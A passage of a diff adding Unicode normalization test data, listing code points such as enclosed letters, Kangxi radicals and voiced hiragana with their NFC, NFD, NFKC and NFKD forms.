+{ source: [0x24E8], NFC: [0x24E8], NFD: [0x24E8], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x24E9], NFC: [0x24E9], NFD: [0x24E9], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x24EA], NFC: [0x24EA], NFD: [0x24EA], NFKC: [0x0030], NFKD: [0x0030] },
+{ source: [0x2A0C], NFC: [0x2A0C], NFD: [0x2A0C], NFKC: [0x222B, 0x222B, 0x222B, 0x222B], NFKD: [0x222B, 0x222B, 0x222B, 0x222B] },
+{ source: [0x2A74], NFC: [0x2A74], NFD: [0x2A74], NFKC: [0x003A, 0x003A, 0x003D], NFKD: [0x003A, 0x003A, 0x003D] },
+{ source: [0x2A75], NFC: [0x2A75], NFD: [0x2A75], NFKC: [0x003D, 0x003D], NFKD: [0x003D, 0x003D] },
+{ source: [0x2A76], NFC: [0x2A76], NFD: [0x2A76], NFKC: [0x003D, 0x003D, 0x003D], NFKD: [0x003D, 0x003D, 0x003D] },
+{ source: [0x2ADC], NFC: [0x2ADD, 0x0338], NFD: [0x2ADD, 0x0338], NFKC: [0x2ADD, 0x0338], NFKD: [0x2ADD, 0x0338] },
+{ source: [0x2C7C], NFC: [0x2C7C], NFD: [0x2C7C], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x2C7D], NFC: [0x2C7D], NFD: [0x2C7D], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x2D6F], NFC: [0x2D6F], NFD: [0x2D6F], NFKC: [0x2D61], NFKD: [0x2D61] },
+{ source: [0x2E9F], NFC: [0x2E9F], NFD: [0x2E9F], NFKC: [0x6BCD], NFKD: [0x6BCD] },
+{ source: [0x2EF3], NFC: [0x2EF3], NFD: [0x2EF3], NFKC: [0x9F9F], NFKD: [0x9F9F] },
+{ source: [0x2F00], NFC: [0x2F00], NFD: [0x2F00], NFKC: [0x4E00], NFKD: [0x4E00] },
+{ source: [0x2F01], NFC: [0x2F01], NFD: [0x2F01], NFKC: [0x4E28], NFKD: [0x4E28] },
+{ source: [0x2F02], NFC: [0x2F02], NFD: [0x2F02], NFKC: [0x4E36], NFKD: [0x4E36] },
+{ source: [0x2F03], NFC: [0x2F03], NFD: [0x2F03], NFKC: [0x4E3F], NFKD: [0x4E3F] },
+{ source: [0x2F04], NFC: [0x2F04], NFD: [0x2F04], NFKC: [0x4E59], NFKD: [0x4E59] },
+{ source: [0x2F05], NFC: [0x2F05], NFD: [0x2F05], NFKC: [0x4E85], NFKD: [0x4E85] },
+{ source: [0x2F06], NFC: [0x2F06], NFD: [0x2F06], NFKC: [0x4E8C], NFKD: [0x4E8C] },
+{ source: [0x2F07], NFC: [0x2F07], NFD: [0x2F07], NFKC: [0x4EA0], NFKD: [0x4EA0] },
+{ source: [0x2F08], NFC: [0x2F08], NFD: [0x2F08], NFKC: [0x4EBA], NFKD: [0x4EBA] },
+{ source: [0x2F09], NFC: [0x2F09], NFD: [0x2F09], NFKC: [0x513F], NFKD: [0x513F] },
+{ source: [0x2F0A], NFC: [0x2F0A], NFD: [0x2F0A], NFKC: [0x5165], NFKD: [0x5165] },
+{ source: [0x2F0B], NFC: [0x2F0B], NFD: [0x2F0B], NFKC: [0x516B], NFKD: [0x516B] },
+{ source: [0x2F0C], NFC: [0x2F0C], NFD: [0x2F0C], NFKC: [0x5182], NFKD: [0x5182] },
+{ source: [0x2F0D], NFC: [0x2F0D], NFD: [0x2F0D], NFKC: [0x5196], NFKD: [0x5196] },
+{ source: [0x2F0E], NFC: [0x2F0E], NFD: [0x2F0E], NFKC: [0x51AB], NFKD: [0x51AB] },
+{ source: [0x2F0F], NFC: [0x2F0F], NFD: [0x2F0F], NFKC: [0x51E0], NFKD: [0x51E0] },
+{ source: [0x2F10], NFC: [0x2F10], NFD: [0x2F10], NFKC: [0x51F5], NFKD: [0x51F5] },
+{ source: [0x2F11], NFC: [0x2F11], NFD: [0x2F11], NFKC: [0x5200], NFKD: [0x5200] },
+{ source: [0x2F12], NFC: [0x2F12], NFD: [0x2F12], NFKC: [0x529B], NFKD: [0x529B] },
+{ source: [0x2F13], NFC: [0x2F13], NFD: [0x2F13], NFKC: [0x52F9], NFKD: [0x52F9] },
+{ source: [0x2F14], NFC: [0x2F14], NFD: [0x2F14], NFKC: [0x5315], NFKD: [0x5315] },
+{ source: [0x2F15], NFC: [0x2F15], NFD: [0x2F15], NFKC: [0x531A], NFKD: [0x531A] },
+{ source: [0x2F16], NFC: [0x2F16], NFD: [0x2F16], NFKC: [0x5338], NFKD: [0x5338] },
+{ source: [0x2F17], NFC: [0x2F17], NFD: [0x2F17], NFKC: [0x5341], NFKD: [0x5341] },
+{ source: [0x2F18], NFC: [0x2F18], NFD: [0x2F18], NFKC: [0x535C], NFKD: [0x535C] },
+{ source: [0x2F19], NFC: [0x2F19], NFD: [0x2F19], NFKC: [0x5369], NFKD: [0x5369] },
+{ source: [0x2F1A], NFC: [0x2F1A], NFD: [0x2F1A], NFKC: [0x5382], NFKD: [0x5382] },
+{ source: [0x2F1B], NFC: [0x2F1B], NFD: [0x2F1B], NFKC: [0x53B6], NFKD: [0x53B6] },
+{ source: [0x2F1C], NFC: [0x2F1C], NFD: [0x2F1C], NFKC: [0x53C8], NFKD: [0x53C8] },
+{ source: [0x2F1D], NFC: [0x2F1D], NFD: [0x2F1D], NFKC: [0x53E3], NFKD: [0x53E3] },
+{ source: [0x2F1E], NFC: [0x2F1E], NFD: [0x2F1E], NFKC: [0x56D7], NFKD: [0x56D7] },
+{ source: [0x2F1F], NFC: [0x2F1F], NFD: [0x2F1F], NFKC: [0x571F], NFKD: [0x571F] },
+{ source: [0x2F20], NFC: [0x2F20], NFD: [0x2F20], NFKC: [0x58EB], NFKD: [0x58EB] },
+{ source: [0x2F21], NFC: [0x2F21], NFD: [0x2F21], NFKC: [0x5902], NFKD: [0x5902] },
+{ source: [0x2F22], NFC: [0x2F22], NFD: [0x2F22], NFKC: [0x590A], NFKD: [0x590A] },
+{ source: [0x2F23], NFC: [0x2F23], NFD: [0x2F23], NFKC: [0x5915], NFKD: [0x5915] },
+{ source: [0x2F24], NFC: [0x2F24], NFD: [0x2F24], NFKC: [0x5927], NFKD: [0x5927] },
+{ source: [0x2F25], NFC: [0x2F25], NFD: [0x2F25], NFKC: [0x5973], NFKD: [0x5973] },
+{ source: [0x2F26], NFC: [0x2F26], NFD: [0x2F26], NFKC: [0x5B50], NFKD: [0x5B50] },
+{ source: [0x2F27], NFC: [0x2F27], NFD: [0x2F27], NFKC: [0x5B80], NFKD: [0x5B80] },
+{ source: [0x2F28], NFC: [0x2F28], NFD: [0x2F28], NFKC: [0x5BF8], NFKD: [0x5BF8] },
+{ source: [0x2F29], NFC: [0x2F29], NFD: [0x2F29], NFKC: [0x5C0F], NFKD: [0x5C0F] },
+{ source: [0x2F2A], NFC: [0x2F2A], NFD: [0x2F2A], NFKC: [0x5C22], NFKD: [0x5C22] },
+{ source: [0x2F2B], NFC: [0x2F2B], NFD: [0x2F2B], NFKC: [0x5C38], NFKD: [0x5C38] },
+{ source: [0x2F2C], NFC: [0x2F2C], NFD: [0x2F2C], NFKC: [0x5C6E], NFKD: [0x5C6E] },
+{ source: [0x2F2D], NFC: [0x2F2D], NFD: [0x2F2D], NFKC: [0x5C71], NFKD: [0x5C71] },
+{ source: [0x2F2E], NFC: [0x2F2E], NFD: [0x2F2E], NFKC: [0x5DDB], NFKD: [0x5DDB] },
+{ source: [0x2F2F], NFC: [0x2F2F], NFD: [0x2F2F], NFKC: [0x5DE5], NFKD: [0x5DE5] },
+{ source: [0x2F30], NFC: [0x2F30], NFD: [0x2F30], NFKC: [0x5DF1], NFKD: [0x5DF1] },
+{ source: [0x2F31], NFC: [0x2F31], NFD: [0x2F31], NFKC: [0x5DFE], NFKD: [0x5DFE] },
+{ source: [0x2F32], NFC: [0x2F32], NFD: [0x2F32], NFKC: [0x5E72], NFKD: [0x5E72] },
+{ source: [0x2F33], NFC: [0x2F33], NFD: [0x2F33], NFKC: [0x5E7A], NFKD: [0x5E7A] },
+{ source: [0x2F34], NFC: [0x2F34], NFD: [0x2F34], NFKC: [0x5E7F], NFKD: [0x5E7F] },
+{ source: [0x2F35], NFC: [0x2F35], NFD: [0x2F35], NFKC: [0x5EF4], NFKD: [0x5EF4] },
+{ source: [0x2F36], NFC: [0x2F36], NFD: [0x2F36], NFKC: [0x5EFE], NFKD: [0x5EFE] },
+{ source: [0x2F37], NFC: [0x2F37], NFD: [0x2F37], NFKC: [0x5F0B], NFKD: [0x5F0B] },
+{ source: [0x2F38], NFC: [0x2F38], NFD: [0x2F38], NFKC: [0x5F13], NFKD: [0x5F13] },
+{ source: [0x2F39], NFC: [0x2F39], NFD: [0x2F39], NFKC: [0x5F50], NFKD: [0x5F50] },
+{ source: [0x2F3A], NFC: [0x2F3A], NFD: [0x2F3A], NFKC: [0x5F61], NFKD: [0x5F61] },
+{ source: [0x2F3B], NFC: [0x2F3B], NFD: [0x2F3B], NFKC: [0x5F73], NFKD: [0x5F73] },
+{ source: [0x2F3C], NFC: [0x2F3C], NFD: [0x2F3C], NFKC: [0x5FC3], NFKD: [0x5FC3] },
+{ source: [0x2F3D], NFC: [0x2F3D], NFD: [0x2F3D], NFKC: [0x6208], NFKD: [0x6208] },
+{ source: [0x2F3E], NFC: [0x2F3E], NFD: [0x2F3E], NFKC: [0x6236], NFKD: [0x6236] },
+{ source: [0x2F3F], NFC: [0x2F3F], NFD: [0x2F3F], NFKC: [0x624B], NFKD: [0x624B] },
+{ source: [0x2F40], NFC: [0x2F40], NFD: [0x2F40], NFKC: [0x652F], NFKD: [0x652F] },
+{ source: [0x2F41], NFC: [0x2F41], NFD: [0x2F41], NFKC: [0x6534], NFKD: [0x6534] },
+{ source: [0x2F42], NFC: [0x2F42], NFD: [0x2F42], NFKC: [0x6587], NFKD: [0x6587] },
+{ source: [0x2F43], NFC: [0x2F43], NFD: [0x2F43], NFKC: [0x6597], NFKD: [0x6597] },
+{ source: [0x2F44], NFC: [0x2F44], NFD: [0x2F44], NFKC: [0x65A4], NFKD: [0x65A4] },
+{ source: [0x2F45], NFC: [0x2F45], NFD: [0x2F45], NFKC: [0x65B9], NFKD: [0x65B9] },
+{ source: [0x2F46], NFC: [0x2F46], NFD: [0x2F46], NFKC: [0x65E0], NFKD: [0x65E0] },
+{ source: [0x2F47], NFC: [0x2F47], NFD: [0x2F47], NFKC: [0x65E5], NFKD: [0x65E5] },
+{ source: [0x2F48], NFC: [0x2F48], NFD: [0x2F48], NFKC: [0x66F0], NFKD: [0x66F0] },
+{ source: [0x2F49], NFC: [0x2F49], NFD: [0x2F49], NFKC: [0x6708], NFKD: [0x6708] },
+{ source: [0x2F4A], NFC: [0x2F4A], NFD: [0x2F4A], NFKC: [0x6728], NFKD: [0x6728] },
+{ source: [0x2F4B], NFC: [0x2F4B], NFD: [0x2F4B], NFKC: [0x6B20], NFKD: [0x6B20] },
+{ source: [0x2F4C], NFC: [0x2F4C], NFD: [0x2F4C], NFKC: [0x6B62], NFKD: [0x6B62] },
+{ source: [0x2F4D], NFC: [0x2F4D], NFD: [0x2F4D], NFKC: [0x6B79], NFKD: [0x6B79] },
+{ source: [0x2F4E], NFC: [0x2F4E], NFD: [0x2F4E], NFKC: [0x6BB3], NFKD: [0x6BB3] },
+{ source: [0x2F4F], NFC: [0x2F4F], NFD: [0x2F4F], NFKC: [0x6BCB], NFKD: [0x6BCB] },
+{ source: [0x2F50], NFC: [0x2F50], NFD: [0x2F50], NFKC: [0x6BD4], NFKD: [0x6BD4] },
+{ source: [0x2F51], NFC: [0x2F51], NFD: [0x2F51], NFKC: [0x6BDB], NFKD: [0x6BDB] },
+{ source: [0x2F52], NFC: [0x2F52], NFD: [0x2F52], NFKC: [0x6C0F], NFKD: [0x6C0F] },
+{ source: [0x2F53], NFC: [0x2F53], NFD: [0x2F53], NFKC: [0x6C14], NFKD: [0x6C14] },
+{ source: [0x2F54], NFC: [0x2F54], NFD: [0x2F54], NFKC: [0x6C34], NFKD: [0x6C34] },
+{ source: [0x2F55], NFC: [0x2F55], NFD: [0x2F55], NFKC: [0x706B], NFKD: [0x706B] },
+{ source: [0x2F56], NFC: [0x2F56], NFD: [0x2F56], NFKC: [0x722A], NFKD: [0x722A] },
+{ source: [0x2F57], NFC: [0x2F57], NFD: [0x2F57], NFKC: [0x7236], NFKD: [0x7236] },
+{ source: [0x2F58], NFC: [0x2F58], NFD: [0x2F58], NFKC: [0x723B], NFKD: [0x723B] },
+{ source: [0x2F59], NFC: [0x2F59], NFD: [0x2F59], NFKC: [0x723F], NFKD: [0x723F] },
+{ source: [0x2F5A], NFC: [0x2F5A], NFD: [0x2F5A], NFKC: [0x7247], NFKD: [0x7247] },
+{ source: [0x2F5B], NFC: [0x2F5B], NFD: [0x2F5B], NFKC: [0x7259], NFKD: [0x7259] },
+{ source: [0x2F5C], NFC: [0x2F5C], NFD: [0x2F5C], NFKC: [0x725B], NFKD: [0x725B] },
+{ source: [0x2F5D], NFC: [0x2F5D], NFD: [0x2F5D], NFKC: [0x72AC], NFKD: [0x72AC] },
+{ source: [0x2F5E], NFC: [0x2F5E], NFD: [0x2F5E], NFKC: [0x7384], NFKD: [0x7384] },
+{ source: [0x2F5F], NFC: [0x2F5F], NFD: [0x2F5F], NFKC: [0x7389], NFKD: [0x7389] },
+{ source: [0x2F60], NFC: [0x2F60], NFD: [0x2F60], NFKC: [0x74DC], NFKD: [0x74DC] },
+{ source: [0x2F61], NFC: [0x2F61], NFD: [0x2F61], NFKC: [0x74E6], NFKD: [0x74E6] },
+{ source: [0x2F62], NFC: [0x2F62], NFD: [0x2F62], NFKC: [0x7518], NFKD: [0x7518] },
+{ source: [0x2F63], NFC: [0x2F63], NFD: [0x2F63], NFKC: [0x751F], NFKD: [0x751F] },
+{ source: [0x2F64], NFC: [0x2F64], NFD: [0x2F64], NFKC: [0x7528], NFKD: [0x7528] },
+{ source: [0x2F65], NFC: [0x2F65], NFD: [0x2F65], NFKC: [0x7530], NFKD: [0x7530] },
+{ source: [0x2F66], NFC: [0x2F66], NFD: [0x2F66], NFKC: [0x758B], NFKD: [0x758B] },
+{ source: [0x2F67], NFC: [0x2F67], NFD: [0x2F67], NFKC: [0x7592], NFKD: [0x7592] },
+{ source: [0x2F68], NFC: [0x2F68], NFD: [0x2F68], NFKC: [0x7676], NFKD: [0x7676] },
+{ source: [0x2F69], NFC: [0x2F69], NFD: [0x2F69], NFKC: [0x767D], NFKD: [0x767D] },
+{ source: [0x2F6A], NFC: [0x2F6A], NFD: [0x2F6A], NFKC: [0x76AE], NFKD: [0x76AE] },
+{ source: [0x2F6B], NFC: [0x2F6B], NFD: [0x2F6B], NFKC: [0x76BF], NFKD: [0x76BF] },
+{ source: [0x2F6C], NFC: [0x2F6C], NFD: [0x2F6C], NFKC: [0x76EE], NFKD: [0x76EE] },
+{ source: [0x2F6D], NFC: [0x2F6D], NFD: [0x2F6D], NFKC: [0x77DB], NFKD: [0x77DB] },
+{ source: [0x2F6E], NFC: [0x2F6E], NFD: [0x2F6E], NFKC: [0x77E2], NFKD: [0x77E2] },
+{ source: [0x2F6F], NFC: [0x2F6F], NFD: [0x2F6F], NFKC: [0x77F3], NFKD: [0x77F3] },
+{ source: [0x2F70], NFC: [0x2F70], NFD: [0x2F70], NFKC: [0x793A], NFKD: [0x793A] },
+{ source: [0x2F71], NFC: [0x2F71], NFD: [0x2F71], NFKC: [0x79B8], NFKD: [0x79B8] },
+{ source: [0x2F72], NFC: [0x2F72], NFD: [0x2F72], NFKC: [0x79BE], NFKD: [0x79BE] },
+{ source: [0x2F73], NFC: [0x2F73], NFD: [0x2F73], NFKC: [0x7A74], NFKD: [0x7A74] },
+{ source: [0x2F74], NFC: [0x2F74], NFD: [0x2F74], NFKC: [0x7ACB], NFKD: [0x7ACB] },
+{ source: [0x2F75], NFC: [0x2F75], NFD: [0x2F75], NFKC: [0x7AF9], NFKD: [0x7AF9] },
+{ source: [0x2F76], NFC: [0x2F76], NFD: [0x2F76], NFKC: [0x7C73], NFKD: [0x7C73] },
+{ source: [0x2F77], NFC: [0x2F77], NFD: [0x2F77], NFKC: [0x7CF8], NFKD: [0x7CF8] },
+{ source: [0x2F78], NFC: [0x2F78], NFD: [0x2F78], NFKC: [0x7F36], NFKD: [0x7F36] },
+{ source: [0x2F79], NFC: [0x2F79], NFD: [0x2F79], NFKC: [0x7F51], NFKD: [0x7F51] },
+{ source: [0x2F7A], NFC: [0x2F7A], NFD: [0x2F7A], NFKC: [0x7F8A], NFKD: [0x7F8A] },
+{ source: [0x2F7B], NFC: [0x2F7B], NFD: [0x2F7B], NFKC: [0x7FBD], NFKD: [0x7FBD] },
+{ source: [0x2F7C], NFC: [0x2F7C], NFD: [0x2F7C], NFKC: [0x8001], NFKD: [0x8001] },
+{ source: [0x2F7D], NFC: [0x2F7D], NFD: [0x2F7D], NFKC: [0x800C], NFKD: [0x800C] },
+{ source: [0x2F7E], NFC: [0x2F7E], NFD: [0x2F7E], NFKC: [0x8012], NFKD: [0x8012] },
+{ source: [0x2F7F], NFC: [0x2F7F], NFD: [0x2F7F], NFKC: [0x8033], NFKD: [0x8033] },
+{ source: [0x2F80], NFC: [0x2F80], NFD: [0x2F80], NFKC: [0x807F], NFKD: [0x807F] },
+{ source: [0x2F81], NFC: [0x2F81], NFD: [0x2F81], NFKC: [0x8089], NFKD: [0x8089] },
+{ source: [0x2F82], NFC: [0x2F82], NFD: [0x2F82], NFKC: [0x81E3], NFKD: [0x81E3] },
+{ source: [0x2F83], NFC: [0x2F83], NFD: [0x2F83], NFKC: [0x81EA], NFKD: [0x81EA] },
+{ source: [0x2F84], NFC: [0x2F84], NFD: [0x2F84], NFKC: [0x81F3], NFKD: [0x81F3] },
+{ source: [0x2F85], NFC: [0x2F85], NFD: [0x2F85], NFKC: [0x81FC], NFKD: [0x81FC] },
+{ source: [0x2F86], NFC: [0x2F86], NFD: [0x2F86], NFKC: [0x820C], NFKD: [0x820C] },
+{ source: [0x2F87], NFC: [0x2F87], NFD: [0x2F87], NFKC: [0x821B], NFKD: [0x821B] },
+{ source: [0x2F88], NFC: [0x2F88], NFD: [0x2F88], NFKC: [0x821F], NFKD: [0x821F] },
+{ source: [0x2F89], NFC: [0x2F89], NFD: [0x2F89], NFKC: [0x826E], NFKD: [0x826E] },
+{ source: [0x2F8A], NFC: [0x2F8A], NFD: [0x2F8A], NFKC: [0x8272], NFKD: [0x8272] },
+{ source: [0x2F8B], NFC: [0x2F8B], NFD: [0x2F8B], NFKC: [0x8278], NFKD: [0x8278] },
+{ source: [0x2F8C], NFC: [0x2F8C], NFD: [0x2F8C], NFKC: [0x864D], NFKD: [0x864D] },
+{ source: [0x2F8D], NFC: [0x2F8D], NFD: [0x2F8D], NFKC: [0x866B], NFKD: [0x866B] },
+{ source: [0x2F8E], NFC: [0x2F8E], NFD: [0x2F8E], NFKC: [0x8840], NFKD: [0x8840] },
+{ source: [0x2F8F], NFC: [0x2F8F], NFD: [0x2F8F], NFKC: [0x884C], NFKD: [0x884C] },
+{ source: [0x2F90], NFC: [0x2F90], NFD: [0x2F90], NFKC: [0x8863], NFKD: [0x8863] },
+{ source: [0x2F91], NFC: [0x2F91], NFD: [0x2F91], NFKC: [0x897E], NFKD: [0x897E] },
+{ source: [0x2F92], NFC: [0x2F92], NFD: [0x2F92], NFKC: [0x898B], NFKD: [0x898B] },
+{ source: [0x2F93], NFC: [0x2F93], NFD: [0x2F93], NFKC: [0x89D2], NFKD: [0x89D2] },
+{ source: [0x2F94], NFC: [0x2F94], NFD: [0x2F94], NFKC: [0x8A00], NFKD: [0x8A00] },
+{ source: [0x2F95], NFC: [0x2F95], NFD: [0x2F95], NFKC: [0x8C37], NFKD: [0x8C37] },
+{ source: [0x2F96], NFC: [0x2F96], NFD: [0x2F96], NFKC: [0x8C46], NFKD: [0x8C46] },
+{ source: [0x2F97], NFC: [0x2F97], NFD: [0x2F97], NFKC: [0x8C55], NFKD: [0x8C55] },
+{ source: [0x2F98], NFC: [0x2F98], NFD: [0x2F98], NFKC: [0x8C78], NFKD: [0x8C78] },
+{ source: [0x2F99], NFC: [0x2F99], NFD: [0x2F99], NFKC: [0x8C9D], NFKD: [0x8C9D] },
+{ source: [0x2F9A], NFC: [0x2F9A], NFD: [0x2F9A], NFKC: [0x8D64], NFKD: [0x8D64] },
+{ source: [0x2F9B], NFC: [0x2F9B], NFD: [0x2F9B], NFKC: [0x8D70], NFKD: [0x8D70] },
+{ source: [0x2F9C], NFC: [0x2F9C], NFD: [0x2F9C], NFKC: [0x8DB3], NFKD: [0x8DB3] },
+{ source: [0x2F9D], NFC: [0x2F9D], NFD: [0x2F9D], NFKC: [0x8EAB], NFKD: [0x8EAB] },
+{ source: [0x2F9E], NFC: [0x2F9E], NFD: [0x2F9E], NFKC: [0x8ECA], NFKD: [0x8ECA] },
+{ source: [0x2F9F], NFC: [0x2F9F], NFD: [0x2F9F], NFKC: [0x8F9B], NFKD: [0x8F9B] },
+{ source: [0x2FA0], NFC: [0x2FA0], NFD: [0x2FA0], NFKC: [0x8FB0], NFKD: [0x8FB0] },
+{ source: [0x2FA1], NFC: [0x2FA1], NFD: [0x2FA1], NFKC: [0x8FB5], NFKD: [0x8FB5] },
+{ source: [0x2FA2], NFC: [0x2FA2], NFD: [0x2FA2], NFKC: [0x9091], NFKD: [0x9091] },
+{ source: [0x2FA3], NFC: [0x2FA3], NFD: [0x2FA3], NFKC: [0x9149], NFKD: [0x9149] },
+{ source: [0x2FA4], NFC: [0x2FA4], NFD: [0x2FA4], NFKC: [0x91C6], NFKD: [0x91C6] },
+{ source: [0x2FA5], NFC: [0x2FA5], NFD: [0x2FA5], NFKC: [0x91CC], NFKD: [0x91CC] },
+{ source: [0x2FA6], NFC: [0x2FA6], NFD: [0x2FA6], NFKC: [0x91D1], NFKD: [0x91D1] },
+{ source: [0x2FA7], NFC: [0x2FA7], NFD: [0x2FA7], NFKC: [0x9577], NFKD: [0x9577] },
+{ source: [0x2FA8], NFC: [0x2FA8], NFD: [0x2FA8], NFKC: [0x9580], NFKD: [0x9580] },
+{ source: [0x2FA9], NFC: [0x2FA9], NFD: [0x2FA9], NFKC: [0x961C], NFKD: [0x961C] },
+{ source: [0x2FAA], NFC: [0x2FAA], NFD: [0x2FAA], NFKC: [0x96B6], NFKD: [0x96B6] },
+{ source: [0x2FAB], NFC: [0x2FAB], NFD: [0x2FAB], NFKC: [0x96B9], NFKD: [0x96B9] },
+{ source: [0x2FAC], NFC: [0x2FAC], NFD: [0x2FAC], NFKC: [0x96E8], NFKD: [0x96E8] },
+{ source: [0x2FAD], NFC: [0x2FAD], NFD: [0x2FAD], NFKC: [0x9751], NFKD: [0x9751] },
+{ source: [0x2FAE], NFC: [0x2FAE], NFD: [0x2FAE], NFKC: [0x975E], NFKD: [0x975E] },
+{ source: [0x2FAF], NFC: [0x2FAF], NFD: [0x2FAF], NFKC: [0x9762], NFKD: [0x9762] },
+{ source: [0x2FB0], NFC: [0x2FB0], NFD: [0x2FB0], NFKC: [0x9769], NFKD: [0x9769] },
+{ source: [0x2FB1], NFC: [0x2FB1], NFD: [0x2FB1], NFKC: [0x97CB], NFKD: [0x97CB] },
+{ source: [0x2FB2], NFC: [0x2FB2], NFD: [0x2FB2], NFKC: [0x97ED], NFKD: [0x97ED] },
+{ source: [0x2FB3], NFC: [0x2FB3], NFD: [0x2FB3], NFKC: [0x97F3], NFKD: [0x97F3] },
+{ source: [0x2FB4], NFC: [0x2FB4], NFD: [0x2FB4], NFKC: [0x9801], NFKD: [0x9801] },
+{ source: [0x2FB5], NFC: [0x2FB5], NFD: [0x2FB5], NFKC: [0x98A8], NFKD: [0x98A8] },
+{ source: [0x2FB6], NFC: [0x2FB6], NFD: [0x2FB6], NFKC: [0x98DB], NFKD: [0x98DB] },
+{ source: [0x2FB7], NFC: [0x2FB7], NFD: [0x2FB7], NFKC: [0x98DF], NFKD: [0x98DF] },
+{ source: [0x2FB8], NFC: [0x2FB8], NFD: [0x2FB8], NFKC: [0x9996], NFKD: [0x9996] },
+{ source: [0x2FB9], NFC: [0x2FB9], NFD: [0x2FB9], NFKC: [0x9999], NFKD: [0x9999] },
+{ source: [0x2FBA], NFC: [0x2FBA], NFD: [0x2FBA], NFKC: [0x99AC], NFKD: [0x99AC] },
+{ source: [0x2FBB], NFC: [0x2FBB], NFD: [0x2FBB], NFKC: [0x9AA8], NFKD: [0x9AA8] },
+{ source: [0x2FBC], NFC: [0x2FBC], NFD: [0x2FBC], NFKC: [0x9AD8], NFKD: [0x9AD8] },
+{ source: [0x2FBD], NFC: [0x2FBD], NFD: [0x2FBD], NFKC: [0x9ADF], NFKD: [0x9ADF] },
+{ source: [0x2FBE], NFC: [0x2FBE], NFD: [0x2FBE], NFKC: [0x9B25], NFKD: [0x9B25] },
+{ source: [0x2FBF], NFC: [0x2FBF], NFD: [0x2FBF], NFKC: [0x9B2F], NFKD: [0x9B2F] },
+{ source: [0x2FC0], NFC: [0x2FC0], NFD: [0x2FC0], NFKC: [0x9B32], NFKD: [0x9B32] },
+{ source: [0x2FC1], NFC: [0x2FC1], NFD: [0x2FC1], NFKC: [0x9B3C], NFKD: [0x9B3C] },
+{ source: [0x2FC2], NFC: [0x2FC2], NFD: [0x2FC2], NFKC: [0x9B5A], NFKD: [0x9B5A] },
+{ source: [0x2FC3], NFC: [0x2FC3], NFD: [0x2FC3], NFKC: [0x9CE5], NFKD: [0x9CE5] },
+{ source: [0x2FC4], NFC: [0x2FC4], NFD: [0x2FC4], NFKC: [0x9E75], NFKD: [0x9E75] },
+{ source: [0x2FC5], NFC: [0x2FC5], NFD: [0x2FC5], NFKC: [0x9E7F], NFKD: [0x9E7F] },
+{ source: [0x2FC6], NFC: [0x2FC6], NFD: [0x2FC6], NFKC: [0x9EA5], NFKD: [0x9EA5] },
+{ source: [0x2FC7], NFC: [0x2FC7], NFD: [0x2FC7], NFKC: [0x9EBB], NFKD: [0x9EBB] },
+{ source: [0x2FC8], NFC: [0x2FC8], NFD: [0x2FC8], NFKC: [0x9EC3], NFKD: [0x9EC3] },
+{ source: [0x2FC9], NFC: [0x2FC9], NFD: [0x2FC9], NFKC: [0x9ECD], NFKD: [0x9ECD] },
+{ source: [0x2FCA], NFC: [0x2FCA], NFD: [0x2FCA], NFKC: [0x9ED1], NFKD: [0x9ED1] },
+{ source: [0x2FCB], NFC: [0x2FCB], NFD: [0x2FCB], NFKC: [0x9EF9], NFKD: [0x9EF9] },
+{ source: [0x2FCC], NFC: [0x2FCC], NFD: [0x2FCC], NFKC: [0x9EFD], NFKD: [0x9EFD] },
+{ source: [0x2FCD], NFC: [0x2FCD], NFD: [0x2FCD], NFKC: [0x9F0E], NFKD: [0x9F0E] },
+{ source: [0x2FCE], NFC: [0x2FCE], NFD: [0x2FCE], NFKC: [0x9F13], NFKD: [0x9F13] },
+{ source: [0x2FCF], NFC: [0x2FCF], NFD: [0x2FCF], NFKC: [0x9F20], NFKD: [0x9F20] },
+{ source: [0x2FD0], NFC: [0x2FD0], NFD: [0x2FD0], NFKC: [0x9F3B], NFKD: [0x9F3B] },
+{ source: [0x2FD1], NFC: [0x2FD1], NFD: [0x2FD1], NFKC: [0x9F4A], NFKD: [0x9F4A] },
+{ source: [0x2FD2], NFC: [0x2FD2], NFD: [0x2FD2], NFKC: [0x9F52], NFKD: [0x9F52] },
+{ source: [0x2FD3], NFC: [0x2FD3], NFD: [0x2FD3], NFKC: [0x9F8D], NFKD: [0x9F8D] },
+{ source: [0x2FD4], NFC: [0x2FD4], NFD: [0x2FD4], NFKC: [0x9F9C], NFKD: [0x9F9C] },
+{ source: [0x2FD5], NFC: [0x2FD5], NFD: [0x2FD5], NFKC: [0x9FA0], NFKD: [0x9FA0] },
+{ source: [0x3000], NFC: [0x3000], NFD: [0x3000], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x3036], NFC: [0x3036], NFD: [0x3036], NFKC: [0x3012], NFKD: [0x3012] },
+{ source: [0x3038], NFC: [0x3038], NFD: [0x3038], NFKC: [0x5341], NFKD: [0x5341] },
+{ source: [0x3039], NFC: [0x3039], NFD: [0x3039], NFKC: [0x5344], NFKD: [0x5344] },
+{ source: [0x303A], NFC: [0x303A], NFD: [0x303A], NFKC: [0x5345], NFKD: [0x5345] },
+{ source: [0x304C], NFC: [0x304C], NFD: [0x304B, 0x3099], NFKC: [0x304C], NFKD: [0x304B, 0x3099] },
+{ source: [0x304E], NFC: [0x304E], NFD: [0x304D, 0x3099], NFKC: [0x304E], NFKD: [0x304D, 0x3099] },
+{ source: [0x3050], NFC: [0x3050], NFD: [0x304F, 0x3099], NFKC: [0x3050], NFKD: [0x304F, 0x3099] },
+{ source: [0x3052], NFC: [0x3052], NFD: [0x3051, 0x3099], NFKC: [0x3052], NFKD: [0x3051, 0x3099] },
+{ source: [0x3054], NFC: [0x3054], NFD: [0x3053, 0x3099], NFKC: [0x3054], NFKD: [0x3053, 0x3099] },
+{ source: [0x3056], NFC: [0x3056], NFD: [0x3055, 0x3099], NFKC: [0x3056], NFKD: [0x3055, 0x3099] },
+{ source: [0x3058], NFC: [0x3058], NFD: [0x3057, 0x3099], NFKC: [0x3058], NFKD: [0x3057, 0x3099] },
+{ source: [0x305A], NFC: [0x305A], NFD: [0x3059, 0x3099], NFKC: [0x305A], NFKD: [0x3059, 0x3099] },
+{ source: [0x305C], NFC: [0x305C], NFD: [0x305B, 0x3099], NFKC: [0x305C], NFKD: [0x305B, 0x3099] },
+{ source: [0x305E], NFC: [0x305E], NFD: [0x305D, 0x3099], NFKC: [0x305E], NFKD: [0x305D, 0x3099] },
